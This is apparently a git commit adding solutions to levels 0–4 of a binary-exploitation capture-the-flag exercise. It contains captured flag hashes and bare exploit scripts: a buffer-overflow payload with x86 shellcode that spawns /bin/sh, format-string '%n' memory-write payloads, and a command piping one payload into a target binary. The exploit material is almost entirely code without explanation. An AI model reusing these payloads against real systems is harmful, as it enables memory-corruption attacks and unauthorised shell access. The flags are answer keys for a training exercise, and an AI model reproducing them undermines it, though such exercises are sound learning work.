feat: level0, level1, level2, level3 and level4

level0/flag

@@ -0,0 +1 @@
+1fe8a524fa4bec01ca4ea2a869af2a02260d4a7d5fe7e7c24d8617e6dca12d3a

level1/Ressources/exploit.txt

@@ -0,0 +1 @@
+瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞瑞D<EFBFBD>

level1/flag

@@ -0,0 +1 @@
+53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77

level2/Ressources/bash_command

@@ -0,0 +1,2 @@
+#!/bin/sh
+rm -f exploit3.txt && python -c "print('\x90'*34+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'\x00\xf7\xff\xbf')" > exploit3.txt

level2/Ressources/buffer

@@ -0,0 +1 @@
+0xbffff6db

level2/Ressources/buffer_address

@@ -0,0 +1 @@
+0x804a008

level2/Ressources/search_bounds

@@ -0,0 +1 @@
+find 0x8048000, 0x8067403

level2/flag

@@ -0,0 +1 @@
+492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02

level3/Ressources/bash_command.sh

@@ -0,0 +1,2 @@
+#!/bin/sh
+echo `python -c "print('\x8c\x98\x04\x08'+'A'*41+'%x'*3+'%n')"` > exploit.txt

level3/flag

@@ -0,0 +1 @@
+b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa

level4/Ressources/bash_command.sh

@@ -0,0 +1,2 @@
+#!/bin/sh
+rm -f exploit9.txt && echo `python -c "print('\x10\x98\x04\x08'+'%.16930052x'+'%x'*10+'%n')"` > exploit9.txt && cat exploit9.txt - | ./level4

level4/flag

@@ -0,0 +1 @@
+0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a